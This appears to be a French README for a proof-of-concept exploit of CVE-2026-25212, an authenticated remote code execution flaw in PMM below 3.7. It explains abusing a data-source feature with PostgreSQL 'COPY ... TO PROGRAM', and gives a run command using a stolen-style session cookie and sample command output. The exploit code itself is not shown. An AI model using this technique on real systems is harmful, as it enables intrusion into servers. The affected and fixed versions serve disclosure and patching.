5170temp/cve-2026-25212POC pour CVE-2026-25212
Critique – CVSS 9.9 – Exécution de code à distance authentifiée dans PMM < 3.7.
Cette preuve de concept exploite une vulnérabilité où un utilisateur interne PostgreSQL dans PMM conserve les privilèges 'SUPERUSER'. Un attaquant authentifié (avec les droits 'pmm-admin') peut abuser de la fonctionnalité "Ajouter une source de données" et exécuter des commandes OS arbitraires en utilisant 'COPY ... TO PROGRAM' de PostgreSQL.
Versions affectées: PMM < 3.7
Version corrigée: PMM 3.7 (et ultérieures)
requests (pip install requests)git clone https://github.com/5170Temp/CVE-2026-25212
cd CVE-2026-25212
pip install requests
COOKIE_VALUE est la valeur de votre cookie grafana_session, par exemple 3131e17e1653ee4eeceb703fac45c717
python3 poc.py -t https://pmm.example.com --cookie "COOKIE_VALUE" -c "id"
Exemple de sortie :
[+] UID: krfbxa-Dk
base
global
pg_commit_ts
pg_dynshmem
pg_hba.conf
pg_ident.conf
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
PG_VERSION
pg_wal
pg_xact
postgresql.auto.conf
postgresql.conf
postmaster.opts
postmaster.pid
[+] Done